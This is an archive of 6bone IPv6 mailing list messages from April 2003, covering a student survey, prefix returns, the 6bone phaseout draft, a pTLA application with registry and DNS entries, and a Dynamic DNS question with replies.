Thank you --- your help is appreciated
 
Weijun Yin   



�费下载 MSN Explorer _______________________________________________ 6bone mailing list 6bone@mailman.isi.edu http://mailman.isi.edu/mailman/listinfo/6bone 


From jorgen@hovland.cx Wed Apr  9 12:01:45 2003
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From: =?utf-8?Q?J=C3=B8rgen_Hovland?= <jorgen@hovland.cx>
To: "Gregg C Levine" <hansolofalcon@worldnet.att.net>, <gw9812@21cn.com>,
   <6bone@mailman.isi.edu>
References: <000701c2feba$be303e00$5aa2580c@who5>
Subject: Re: [6bone] Your help is appreciated!!
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>The site wasn't at home when I clicked the link.
The site was up when I did this, but it looks like its down again now.
The odbc-message is from the same website.

Microsoft odbc is a little bit off topic on the 6bone-list I think, but we
could discuss it privately if you wish.
Poorly written manuals are a pain in the xxx, yes.

Joergen Hovland

----- Original Message -----
From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "'Jørgen Hovland'" <jorgen@hovland.cx>; <gw9812@21cn.com>;
<6bone@mailman.isi.edu>
Sent: Wednesday, April 09, 2003 7:09 PM
Subject: RE: [6bone] Your help is appreciated!!


> Hello from Gregg C Levine
> Was that Microsoft based ODBC attached database from that badly timed
message earlier, about a similar database? The site wasn't at home when I
clicked the link.
>
> For some reason that I've made it my business not to delve into, those
databases such as ones built using Microsoft based ODBC, and related tools,
almost always have lousy security,  unless the developer takes the time to
dig through mountains of poorly written manuals to find the right settings
to lock down the database.
>
> Jørgen Hovland, you did the right thing in pointing it out. But I don't
think the original correspondent will appreciate it. Oh, and what else did
do, besides bring this up?
>
> -------------------
> Gregg C Levine hansolofalcon@worldnet.att.net
> ------------------------------------------------------------
> "The Force will be with you...Always." Obi-Wan Kenobi
> "Use the Force, Luke."  Obi-Wan Kenobi
> (This company dedicates this E-Mail to General Obi-Wan Kenobi )
> (This company dedicates this E-Mail to Master Yoda )
>
> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu] On
Behalf Of Jørgen Hovland
> Sent: Wednesday, April 09, 2003 11:16 AM
> To: gw9812@21cn.com; 6bone@mailman.isi.edu
> Subject: Re: [6bone] Your help is appreciated!!
>
> And you might want to check your security.. I can delete your whole
database right now  :-).
>
> javax.servlet.ServletException: [Microsoft][ODBC Microsoft Access Driver]
Óï·¨´íÎó (²Ù×÷·û¶ªÊ§) ÔÚ²éѯ±í´ïʽ ''RFC's' , '' , '' , '' , '' , 'DHCP6
from isp' Ö�¡£
>
> Joergen Hovland
>
> ----- Original Message -----
> From: yin weijun
> To: 6bone@mailman.isi.edu
> Sent: Wednesday, April 09, 2003 12:30 PM
> Subject: [6bone] Your help is appreciated!!
>
> Hi all,
> I am a final year student at University Of Gloucestershire UK and as part
of my course I am required to undertake a research project. My project
intends to examine Ipv4/Ipv6 migration issues in home networks. I would be
grateful if you could find the time to answer the online questions to help
me with my research. The questionnaire is entirely confidential and it would
be greatly appreciated if you could assist me.
>
> There are 14 questions and it will take 3 ~ 5 minutes to complete.
>
> Please click the link to my online questionnaire:
> http://free2u.dns2go.com
>
>
> Thank you --- your help is appreciated
>
> Weijun Yin
>
>
>
> �费下载 MSN Explorer _______________________________________________ 6bone
mailing list 6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone
>
>


From gw9812@hotmail.com Wed Apr  9 15:56:53 2003
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Reply-To: gw9812@21cn.com
From: "yin weijun" <gw9812@hotmail.com>
To: florizan.frotzler@gmx.at, jorgen@hovland.cx, chuck+6bone@snew.com,
   tammy_leino@snew.com, hansolofalcon@worldnet.att.net, 6bone@mailman.isi.edu
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Subject: [6bone] [From weijun Yin] your help is appreciated!!
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<html><div style='background-color:'><DIV>
<DIV>Hi all,</DIV>
<DIV>&nbsp;&nbsp;&nbsp; Firstly, I need to&nbsp;say&nbsp;many thanks to the following &nbsp;kind people for their suggestions:</DIV>
<DIV>&nbsp;</DIV>
<DIV>Florian Frotzler&nbsp;&nbsp; <A href="mailto:florizan.frotzler@gmx.at">florizan.frotzler@gmx.at</A></DIV>
<DIV>Joergen Hovland&nbsp; <A href="mailto:jorgen@hovland.cx">jorgen@hovland.cx</A></DIV>
<DIV>Chuck Yerkes&nbsp; <A href="mailto:chuck+6bone@snew.com">chuck+6bone@snew.com</A></DIV>
<DIV>Leino Tammy&nbsp; <A href="mailto:tammy_leino@snew.com">tammy_leino@snew.com</A></DIV>
<DIV>Gregg C Levine&nbsp; <A href="mailto:hansolofalcon@worldnet.att.net">hansolofalcon@worldnet.att.net</A></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp; Secondly, I am a beginner on IP network, and all my web server is built on what I have learned (Tomcat server, JSP, XHTML, SQL and Microsoft Access database system). </DIV>
<DIV>Sorry about that the response of Access database system is really poor, please be more patient, and try agian later.</DIV>
<DIV>&nbsp;&nbsp;&nbsp;</DIV>
<DIV>Finally, I fixed the bugs found by kind people above, and again your helps is appreciated,&nbsp;I hope&nbsp;that there are more kind people to&nbsp;visit <A href="http://free2u.dns2go.com">http://free2u.dns2go.com</A></DIV>
<DIV>&nbsp;</DIV>
<DIV>Regards,</DIV>
<DIV>Weijun Yin</DIV>
<DIV>&nbsp;</DIV>
<DIV>--------------------------------------------------------------------------------------------</DIV>
<DIV>I am a final year student at <A href="http://www.glos.ac.uk/">University Of Gloucestershire UK</A> and as part of my course I am required to undertake a research project. My project intends to examine Ipv4/Ipv6 migration issues in home network. I would be grateful if you could find the time to answer the following questions to help me with my research. The questionnaire is entirely confidential and it would be greatly appreciated if you could assist me.
<P>There are 14 questions and it will take 3 ~ 5 minutes to complete. </P>
<P></P>
<P>Thank you --- your help is appreciated</P></DIV></DIV></div><br clear=all><hr>Ãâ·ÑÏÂÔØ <a href="http://g.msn.com/8HMOCN/2746">MSN Explorer</a> </html>

From jeroen@unfix.org Wed Apr  9 16:56:29 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Chuck Yerkes'" <chuck+6bone@snew.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] Re: I-D ACTION:draft-ymbk-6bone-arpa-delegation-01.txt
Date: Thu, 10 Apr 2003 01:56:46 +0200
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Chuck Yerkes wrote:

> Quoting Pekka Savola (pekkas@netcore.fi):
> > On Fri, 4 Apr 2003, Jeroen Massar wrote:
> ...
> > I'd favor deprecation of ip6.int as soon as it's 
> reasonable, before the 
> > death of 6bone.  Having to maintain two sets of reverse records is 
> > confusing.
> 
> Actually, it's pretty easy with one file and two named.conf entries.
> Let the @ be your friend.
> 
> 
> (but Oh that BIND would do the nibble/reverse work for me.
>  I hate working for computers.  I want:
>    %6REVERSE(3ffe:1200:301d:5::25)	IN PTR myMachine
>  or something like that.  Avoid my stupid typos.
> ).

Well the software is open source so what is stopping you ?
Also you can do it the 'easy' way and just generate your
zone files from a database or other automated manner.

Greets,
 Jeroen


From jordi.palet@consulintel.es Wed Apr  9 19:25:51 2003
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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <v6ops@ops.ietf.org>, <ngtrans@sunroof.eng.sun.com>, <6bone@ISI.EDU>,
   <users@ipv6.org>, <members@ipv6forum.com>,
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Hi all,

Since a few months already, we have been working in using regular NAT routers to establish IPv6 tunnels, as a quite simple
transition mechanism, instead of inventing new protocols that may be we don't need in most of the situations.

We have described our conclusions in a short document, that is now publicly available. The idea is quite simple "proto-41
forwarding".

But I want to go further, and for that I need your help ... and I think this is something that with a few volunteers (as many as
better), we can do a good and important work. The idea is to identify what routers in addition to those that we already tested,
support this mechanism.

So, if some of you (as many as possible!), can invest a few minutes to try it, please do it, and report to me directly (I don't
think we want all these messages in the mailing list !) at jordi.palet@consulintel.es.

Even better if some of the router manufacturers that receive this email can directly tell us how their different router
models/firmware, behave using this mechanism.

I will compile all the reports received in the next 4-5 weeks (will keep anonymity if requested), and prepare a short I-D describing
the results, and proposing some ideas for router vendors to support this better in future firmware releases. May be it can be in
time for next IETF meeting ;-)

In my opinion, if there is an interesting number of routers supporting this, and/or is easy to implement/enhance in new firmware
versions, we may be in front of an easy transition tool.

In your report, please remember to mention router vendor, model, and firmware version. Any other interesting details welcome.

The document is accessible at the Euro6IX web site (www.euro6ix.org). You need to click on "public", then "services", and find "IPv6
Tunnels over NAT".

By the way, several interesting documents are available in www.euro6ix.org (you need to register to access them).

Regards,
Jordi

PS: Sorry for x-posting, if you are in several mail exploders


*****************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Register at:
http://www.ipv6-es.com



From rblechinger@cybernet-ag.net Fri Apr 11 03:02:54 2003
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From: Robert Blechinger <rblechinger@cybernet-ag.net>
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Subject: [6bone] Cybernet ( AS8379 ) is returning its prefix 3FFE:81F0::/28 to 6BONE
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Hi all,

after successfull hookup on the global production ipv6 network and 
renumbering to RIR allocation ( 2001:768::/32 ) we say thanks to
6BONE.

We are currently preset at native ipv6 peerings in Germany ( DE-CIX, INXS ).


Kindly Regards Robert

-- 

   Blechinger Robert

PSINet / Cybernet AG - Networking
email: rblechinger@cybernet-ag.net
Phone: +49 89 99315 - 116
Fax:   +49 89 99315 - 199

From tvo@EnterZone.Net Sun Apr 13 23:28:29 2003
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Is there something going on between XS26 and SPRINT?  I'm seeing flows
ranging between 600Kb/s and 1.4Mb/s transiting AS13944 between these two
networks.

What makes it odd is that it began building at 2100GMT 4/13/03 ramping up
to about a DS1's worth of traffic until about 0200GMT 4/14/03 and
remaining pretty steady there at about 1.4Mb/s for the past several hours.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From sibaili@hotmail.com Thu Apr 17 17:20:56 2003
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Paul Reveres Ride
	Most people say Paul Revere is famous for his midnight ride.  But did you 
know Paul Revere was a Member of the Sons of library and participated in the 
Boston tea party.  He married two times, first with a girl named Sara, then 
with Rachel and, altogether had sixteen children. Paul Revere wasn¡¯t always 
a messenger; he was an expert silversmith, too.
	His midnight ride started on Boston then he boated to Charleston, borrowed 
a horse and rode off in to the ink, black night.  Paul Revere never made it 
to Concord, but one of the three men did. Paul Revere stop partway between 
Lexington and Concord.  There, he saw many British officers.  They 
(including Paul) rode in the forest some time a warning shot was shot.  The 
redcoats force Paul to give Brown Beauty, the  horse, away.  Then Paul 
Revere, horse less, returned to Lexington because Concord was to far away. 
When Paul Revere died, he wasn¡¯t famous till Longfellow¡¯s poem and would 
be recorded in history books forever
-jennifer




_________________________________________________________________
STOP MORE SPAM with the new MSN 8 and get 2 months FREE*  
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From Raffaele.Dalbenzio@TILAB.COM Fri Apr 18 06:37:32 2003
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Date: Fri, 18 Apr 2003 15:37:23 +0200
From: "D'Albenzio Raffaele" <Raffaele.Dalbenzio@TILAB.COM>
To: 6bone@ISI.EDU
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Hello all,

this e-mail to inform you that a new version of ASPath-tree is available on line.
It is downloadable starting from http://carmen.ipv6.tilab.com/cgi-bin/download.pl?pkg=ASpath-tree.

The main changes of 4.2 version are:

- Graphic display of 6Bone backbone and commercial prefixes becomes an option. 
This has been done according also to 6bone phase out planning proposed
during the last 56th IETF meeting. Now the two separated trees for commercial
and 6bone prefixes are not displayed by default. The option is still
available, setting a variable in the ASPath-tree configuration file.

- Prepended AS information displayed by prefix.
The AS prepend option available in the details page has been moved near the
prefix list because it can be different for different prefixes even if they come
from the same AS.

- Fixed few minor bugs. Code clean-up.

Let us know any comments and observations.

Best regards,
Raffaele D'Albenzio.



====================================================================
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====================================================================

From czmok@gatel.net Tue Apr 22 03:25:01 2003
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Dear 6bone!

We are returning 3ffe:8340::/28 to the pool, means: we are now using
ONLY the allocated RIR-IPv6 space.

I am about to delete the old objects now.

Routing has been stopped for the prefix and route has been withdrawn.

Thanks!

--jan



-- 
     Jan Ahrent Czmok - Senior Network Engineer - Access Networks
Global Access Telecommunications, Inc. - Stephanstr. 3 - 60313 Frankfurt
voice: +49 69 299896-35 - fax: +49 69 299896-66 - email: czmok@gatel.de

From bob@thefinks.com Tue Apr 22 07:44:13 2003
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Jan,

At 12:29 PM 4/22/2003 +0200, Jan Czmok wrote:
>Dear 6bone!
>
>We are returning 3ffe:8340::/28 to the pool, means: we are now using
>ONLY the allocated RIR-IPv6 space.
>
>I am about to delete the old objects now.
>
>Routing has been stopped for the prefix and route has been withdrawn.

Thanks for letting me know. I'll update my allocation list.


Bob 


From bob@thefinks.com Tue Apr 22 07:59:19 2003
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Subject: [6bone] 6bone-phaseout-01
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6bone Folk,

Per the San Francisco 6bone BOF I have updated the draft with dates for the 
phaseout to reflect the consensus at the meeting.

   Jan 1, 2004 allocation cutoff
   June 6, 2006 phaseout

(note that in the -01 draft I missed the phaseout date in the intro, so 
please ignore that... will fix in next draft)

Also the IANA considerations was changed per some comments.

<http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-01.txt>

Let us see if we can reach some consensus soon on this so we can forward it 
for BCP or Informational as soon as possible.

Comments to the list please.


Thanks,

Bob


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Subject: [6bone] pTLA request by SAMART-TH - review closes 6 May 2003
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6bone Folk,

SAMART-TH has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 6 May 
2003. Please send your comments to me or the list.

   <www.ipv6.samart.co.th>


Thanks,

Bob

===
7. Guidelines for 6Bone pTLA sites

    The following rules apply to qualify for a 6Bone pTLA allocation. It
    should be recognized that holders of 6Bone pTLA allocations are
    expected to provide production quality backbone network services for
    the 6Bone.

    1. The pTLA Applicant must have a minimum of three (3) months
       qualifying experience as a 6Bone end-site or pNLA transit.   During
       the entire qualifying period the Applicant must be operationally
       providing the following:

=============================================================
We have been connected to the 6Bone since 03 JAN 2003 as a 6Bone
end-site.
=============================================================

       a. Fully maintained, up to date, 6Bone Registry entries for their
          ipv6-site inet6num, mntner, and person objects, including each
          tunnel that the Applicant has.

=============================================================
ipv6-site:    SAMART-TH
origin:       AS4741
descr:        Samart IPv6 site
country:      TH
prefix:       3FFE:400B:6006::/48
tunnel:       IPv6 in IPv4 v4v6.ipv6.samart.co.th -> ipv6-gw66.inet.co.th 
INET-TH BGP4+
contact:      CN4-6BONE
url:          http://www.ipv6.samart.co.th
notify:       netmgmt@samart.co.th
mnt-by:       MAINT-TH-SAMART
changed:      dorn@samart.co.th 20030103
changed:      dorn@samart.co.th 20030113
changed:      dorn@samart.co.th 20030113
changed:      dorn@samart.co.th 20030416
source:       6BONE

=============================================================

       b. Fully maintained, and reliable, BGP4+ peering and connectivity
          between the Applicant's boundary router and the appropriate
          connection point into the 6Bone. This router must be IPv6
          pingable. This criteria is judged by members of the 6Bone
          Operations Group at the time of the Applicant's pTLA request.

=============================================================
Tunnel1                    [up/up]  ---> INET-TH
     FE80::CB95:102
     3FFE:400B:400B::15

Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ 
Up/Down  State/PfxRcd
3FFE:400B:400B::14
                 4  4618   47492   19893    33585    0    0 23:22:42      439
=============================================================

       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
          entries for the Applicant's router(s) and at least one host
          system.

=============================================================
We have configured IPv6 DNS on 203.149.0.55 (ns.ipv6.samart.co.th)

ns                      IN      AAAA    3FFE:400B:6006::2
www                     IN      AAAA    3FFE:400B:6006::2
v6v4                    IN      AAAA    3FFE:400B:6006::1

$ORIGIN 0.0.0.0.6.0.0.6.B.0.0.4.E.F.F.3.ip6.int
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 	IN	PTR	v6v4.ipv6.samart.co.th
2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0	IN	PTR	ns.ipv6.samart.co.th
=============================================================

       d. A fully maintained, and reliable, IPv6-accessible system
          providing, at a mimimum, one or more web pages, describing the
          Applicant's IPv6 services.  This server must be IPv6 pingable.

=============================================================
Our IPv6 pingable WWW server is www.ipv6.samart.co.th, and it's accessible
by both IPv6 and IPv4
=============================================================

    2. The pTLA Applicant MUST have the ability and intent to provide
       "production-quality" 6Bone backbone service. Applicants must
       provide a statement and information in support of this claim.
       This MUST include the following:

       a. A support staff of two persons minimum, three preferable, with
          person attributes registered for each in the ipv6-site object
          for the pTLA applicant.

=============================================================
3 persons:
person: CN4-6BONE, Chonlatan Naranong (dorn@samart.co.th)
person: NS7-6BONE, Narumol Somboon (narumols@samtel.com)
person: SP13-6BONE, Seksan Potajatikul (seksanp@samtel.com)
=============================================================

       b. A common mailbox for support contact purposes that all support
          staff have acess to, pointed to with a notify attribute in the
          ipv6-site object for the pTLA Applicant.

=============================================================
notify: netmgmt@samart.co.th
=============================================================

    3. The pTLA Applicant MUST have a potential "user community" that
       would be served by its becoming a pTLA, e.g., the Applicant is a
       major provider of Internet service in a region, country, or focus
       of interest. Applicant must provide a statement and information in
       support this claim.

=============================================================
Samart Infonet is one of ISPs in Thailand. Our company've merged with other
Samart's subsidiary companies to act as system integrator. We provide
internet access and total solution for both individual users,corportate,
  education and government organization. However, our main customers
are corporate,education and government organization.Since the merging
and our new services, we're expanding our network and infrastructure in a
drive to provide customers with the most efficient and cost-effective
Internet connections. There are over 30 access networks served for our
individual internet access users and more than 500 customers that are
corporate, education and government organization.
   For the 6bone pTLA, we have plan to test within our network and our
subscribers.(A lot of our customers're interested and would like to test IPv6.)
We welcome whoever want to connect us with 6BONE prefix. Now we have
a direct link to Japan Telecom for IPv6 testing purpose. We also plan to
request IPv6  address space from APNIC and then we will provide the IPv6
commercial services in the future
   Our web site is http://www.samart.co.th
=============================================================

    4. The pTLA Applicant MUST commit to abide by the current 6Bone
       operational rules and policies as they exist at time of its
       application, and agree to abide by future 6Bone backbone
       operational rules and policies as they evolve by consensus of the
       6Bone backbone and user community.

=============================================================
We agree to all current and future operational rules and policies.
=============================================================

    When an Applicant seeks to receive a pTLA allocation, it will apply
    to the 6Bone Operations Group (see section 8 below) by providing to
    the Group information in support of its claims that it meets the
    criteria above.

8. 6Bone Operations Group

    The 6Bone Operations Group is the group in charge of monitoring and
    policing adherence to the current rules. Membership in the 6Bone
    Operations Group is mandatory for, and restricted to, sites connected
    to the 6Bone.

    The 6Bone Operations Group is currently defined by those members of
    the existing 6Bone mailing list who represent sites participating in
    the 6Bone. Therefore it is incumbent on relevant site contacts to
    join the 6Bone mailing list. Instructions on how to join the list are
    maintained on the 6Bone web site at < http://www.6bone.net>.

-end 


From pekkas@netcore.fi Wed Apr 23 01:15:57 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <bob@thefinks.com>
cc: 6BONE List <6bone@mailman.isi.edu>, Narumol Somboon <narumols@samtel.com>
Subject: Re: [6bone] pTLA request by SAMART-TH - review closes 6 May 2003
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On Tue, 22 Apr 2003, Bob Fink wrote:
> SAMART-TH has requested a pTLA allocation and I find their request fully 
> compliant with RFC2772. The open review period for this will close 6 May 
> 2003. Please send your comments to me or the list.

Narumol,

Are you aware that APNIC offers experimental allocations?  Those might be
better fit for your purpose, I think.

> ===
> 7. Guidelines for 6Bone pTLA sites
> 
>     The following rules apply to qualify for a 6Bone pTLA allocation. It
>     should be recognized that holders of 6Bone pTLA allocations are
>     expected to provide production quality backbone network services for
>     the 6Bone.
> 
>     1. The pTLA Applicant must have a minimum of three (3) months
>        qualifying experience as a 6Bone end-site or pNLA transit.   During
>        the entire qualifying period the Applicant must be operationally
>        providing the following:
> 
> =============================================================
> We have been connected to the 6Bone since 03 JAN 2003 as a 6Bone
> end-site.
> =============================================================
> 
>        a. Fully maintained, up to date, 6Bone Registry entries for their
>           ipv6-site inet6num, mntner, and person objects, including each
>           tunnel that the Applicant has.
> 
> =============================================================
> ipv6-site:    SAMART-TH
> origin:       AS4741
> descr:        Samart IPv6 site
> country:      TH
> prefix:       3FFE:400B:6006::/48
> tunnel:       IPv6 in IPv4 v4v6.ipv6.samart.co.th -> ipv6-gw66.inet.co.th 
> INET-TH BGP4+
> contact:      CN4-6BONE
> url:          http://www.ipv6.samart.co.th
> notify:       netmgmt@samart.co.th
> mnt-by:       MAINT-TH-SAMART
> changed:      dorn@samart.co.th 20030103
> changed:      dorn@samart.co.th 20030113
> changed:      dorn@samart.co.th 20030113
> changed:      dorn@samart.co.th 20030416
> source:       6BONE
> 
> =============================================================
> 
>        b. Fully maintained, and reliable, BGP4+ peering and connectivity
>           between the Applicant's boundary router and the appropriate
>           connection point into the 6Bone. This router must be IPv6
>           pingable. This criteria is judged by members of the 6Bone
>           Operations Group at the time of the Applicant's pTLA request.
> 
> =============================================================
> Tunnel1                    [up/up]  ---> INET-TH
>      FE80::CB95:102
>      3FFE:400B:400B::15
> 
> Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ 
> Up/Down  State/PfxRcd
> 3FFE:400B:400B::14
>                  4  4618   47492   19893    33585    0    0 23:22:42      439
> =============================================================
> 
>        c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>           entries for the Applicant's router(s) and at least one host
>           system.
> 
> =============================================================
> We have configured IPv6 DNS on 203.149.0.55 (ns.ipv6.samart.co.th)
> 
> ns                      IN      AAAA    3FFE:400B:6006::2
> www                     IN      AAAA    3FFE:400B:6006::2
> v6v4                    IN      AAAA    3FFE:400B:6006::1
> 
> $ORIGIN 0.0.0.0.6.0.0.6.B.0.0.4.E.F.F.3.ip6.int
> 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 	IN	PTR	v6v4.ipv6.samart.co.th
> 2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0	IN	PTR	ns.ipv6.samart.co.th
> =============================================================
> 
>        d. A fully maintained, and reliable, IPv6-accessible system
>           providing, at a mimimum, one or more web pages, describing the
>           Applicant's IPv6 services.  This server must be IPv6 pingable.
> 
> =============================================================
> Our IPv6 pingable WWW server is www.ipv6.samart.co.th, and it's accessible
> by both IPv6 and IPv4
> =============================================================
> 
>     2. The pTLA Applicant MUST have the ability and intent to provide
>        "production-quality" 6Bone backbone service. Applicants must
>        provide a statement and information in support of this claim.
>        This MUST include the following:
> 
>        a. A support staff of two persons minimum, three preferable, with
>           person attributes registered for each in the ipv6-site object
>           for the pTLA applicant.
> 
> =============================================================
> 3 persons:
> person: CN4-6BONE, Chonlatan Naranong (dorn@samart.co.th)
> person: NS7-6BONE, Narumol Somboon (narumols@samtel.com)
> person: SP13-6BONE, Seksan Potajatikul (seksanp@samtel.com)
> =============================================================
> 
>        b. A common mailbox for support contact purposes that all support
>           staff have acess to, pointed to with a notify attribute in the
>           ipv6-site object for the pTLA Applicant.
> 
> =============================================================
> notify: netmgmt@samart.co.th
> =============================================================
> 
>     3. The pTLA Applicant MUST have a potential "user community" that
>        would be served by its becoming a pTLA, e.g., the Applicant is a
>        major provider of Internet service in a region, country, or focus
>        of interest. Applicant must provide a statement and information in
>        support this claim.
> 
> =============================================================
> Samart Infonet is one of ISPs in Thailand. Our company've merged with other
> Samart's subsidiary companies to act as system integrator. We provide
> internet access and total solution for both individual users,corportate,
>   education and government organization. However, our main customers
> are corporate,education and government organization.Since the merging
> and our new services, we're expanding our network and infrastructure in a
> drive to provide customers with the most efficient and cost-effective
> Internet connections. There are over 30 access networks served for our
> individual internet access users and more than 500 customers that are
> corporate, education and government organization.
>    For the 6bone pTLA, we have plan to test within our network and our
> subscribers.(A lot of our customers're interested and would like to test IPv6.)
> We welcome whoever want to connect us with 6BONE prefix. Now we have
> a direct link to Japan Telecom for IPv6 testing purpose. We also plan to
> request IPv6  address space from APNIC and then we will provide the IPv6
> commercial services in the future
>    Our web site is http://www.samart.co.th
> =============================================================
> 
>     4. The pTLA Applicant MUST commit to abide by the current 6Bone
>        operational rules and policies as they exist at time of its
>        application, and agree to abide by future 6Bone backbone
>        operational rules and policies as they evolve by consensus of the
>        6Bone backbone and user community.
> 
> =============================================================
> We agree to all current and future operational rules and policies.
> =============================================================
> 
>     When an Applicant seeks to receive a pTLA allocation, it will apply
>     to the 6Bone Operations Group (see section 8 below) by providing to
>     the Group information in support of its claims that it meets the
>     criteria above.
> 
> 8. 6Bone Operations Group
> 
>     The 6Bone Operations Group is the group in charge of monitoring and
>     policing adherence to the current rules. Membership in the 6Bone
>     Operations Group is mandatory for, and restricted to, sites connected
>     to the 6Bone.
> 
>     The 6Bone Operations Group is currently defined by those members of
>     the existing 6Bone mailing list who represent sites participating in
>     the 6Bone. Therefore it is incumbent on relevant site contacts to
>     join the 6Bone mailing list. Instructions on how to join the list are
>     maintained on the 6Bone web site at < http://www.6bone.net>.
> 
> -end 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From pekkas@netcore.fi Thu Apr 24 05:27:55 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <bob@thefinks.com>
cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] 6bone-phaseout-01
In-Reply-To: <5.2.0.9.0.20030422075342.01fc9488@mail.addr.com>
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On Tue, 22 Apr 2003, Bob Fink wrote:
> Per the San Francisco 6bone BOF I have updated the draft with dates for the 
> phaseout to reflect the consensus at the meeting.
> 
>    Jan 1, 2004 allocation cutoff
>    June 6, 2006 phaseout
> 
> (note that in the -01 draft I missed the phaseout date in the intro, so 
> please ignore that... will fix in next draft)
> 
> Also the IANA considerations was changed per some comments.
> 
> <http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-01.txt>
> 
> Let us see if we can reach some consensus soon on this so we can forward it 
> for BCP or Informational as soon as possible.

Note that the document states "Informational", so if we decide on BCP, the
doc needs to be updated.  Process-wise, an Informational individual
submission goes to the RFC Editor.  It is not a standards track document.
6bone address allocations RFC went to IESG because is was an Experimental
working group submission.  On the other hand, BCP would go directly to the
IESG, and have a 4-week IETF last call.

So, it seems to me that BCP might be slightly preferable (but might be
slightly more complicated), but the difference is not too great in
practice and I'm OK with either.

The only nits I could see was that References need to be split, and that 
the authors don't have affiliations in the I-D header (but I don't think 
it's necessary -- and considering the consequences, may be desirable).

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From tbegin@tf1.fr Thu Apr 24 05:45:14 2003
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Hello,

I'm working on the relationship between IPv6 and DynamicDNS on several OS.
I've succeeded in making my testbed with an automatic registration into the DNS at the startup of computers.
Then IPv4 and v6 addresses are well recorded inside the DNS. But the fact is that I still have the IPv4 network.
Next I tried to put off the IPv4 protocol from the network and get an only IPv6 network.
* For the linux machines -> no problems
* For the windows 2003 machines -> they are no more recorded inside the DNS table

Thus I have few questions about this thema :
- Is there anything special to setup in the OS to allow dynamic updates over IPv6 ? may be in the netsh tool ? I've searched myself and haven't found ...
- Is IPv4 necessary to carry the register messages that serves for the dynamic DNS updates ? It would mean that IPv6 is not autonomous on the new windows OS ? strange ...
- Is there an equivalent of the command ipconfig /registerdns ... that exists when IPv4 is shut down ? 

Regards
- Thomas


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From: "Chris Mitchell" <cmitch@windows.microsoft.com>
To: "BEGIN, Thomas" <tbegin@tf1.fr>, <6bone@mailman.isi.edu>
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Thomas, you should be able to type "Netsh I ipv add dns" from the
Command Prompt on Windows 2003 to enable IPv6 DNS.  You will need to
make sure the address of the DNS server is reachable by default address,
fec0:0:0:ffff::1-3

I hope this helps,
Thanks
Chris Mitchell
Microsoft Corporation

-----Original Message-----
From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On Behalf Of BEGIN, Thomas
Sent: Thursday, April 24, 2003 5:45 AM
To: 6bone@mailman.isi.edu

Hello,

I'm working on the relationship between IPv6 and DynamicDNS on several
OS.
I've succeeded in making my testbed with an automatic registration into
the DNS at the startup of computers.
Then IPv4 and v6 addresses are well recorded inside the DNS. But the
fact is that I still have the IPv4 network.
Next I tried to put off the IPv4 protocol from the network and get an
only IPv6 network.
* For the linux machines -> no problems
* For the windows 2003 machines -> they are no more recorded inside the
DNS table

Thus I have few questions about this thema :
- Is there anything special to setup in the OS to allow dynamic updates
over IPv6 ? may be in the netsh tool ? I've searched myself and haven't
found ...
- Is IPv4 necessary to carry the register messages that serves for the
dynamic DNS updates ? It would mean that IPv6 is not autonomous on the
new windows OS ? strange ...
- Is there an equivalent of the command ipconfig /registerdns ... that
exists when IPv4 is shut down ? 

Regards
- Thomas

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone



From jeroen@unfix.org Thu Apr 24 15:17:31 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'BEGIN, Thomas'" <tbegin@tf1.fr>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] Dynamic DNS
Date: Fri, 25 Apr 2003 00:17:17 +0200
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This is a multi-part message in MIME format.

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	charset="US-ASCII"
Content-Transfer-Encoding: 7bit

BEGIN, Thomas wrote:

> I'm working on the relationship between IPv6 and DynamicDNS 
> on several OS.

I use the attached (hope it comes through) script in
combination with some tools (yups I can't avoid awk ;)
as described in the beginning of the script to register
the primary (LAN) interface of my laptop whereever I
carry it.

For the rest just follow the documentation on:
http://ops.ietf.org/dns/dynupd/secure-ddns-howto.html

Greets,
 Jeroen

------=_NextPart_000_0039_01C30AC0.08370D10
Content-Type: application/octet-stream;
	name="update.cmd"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="update.cmd"

rem @echo off
rem ##################################################################
rem Windows NT (NT4/2k/2k3) IPv4 & IPv6 Secure DNS Update Script
rem ##################################################################
rem Get the UnxUtils from http://unxutils.sourceforge.net/ and install =
them somewhere
rem Then adjust your path.
rem Get the nsupdate program + libs from ISC (www.isc.org), usually the =
bind9 distro.
rem Then copy over the K*.private & K*.key over for the host to your =
box.
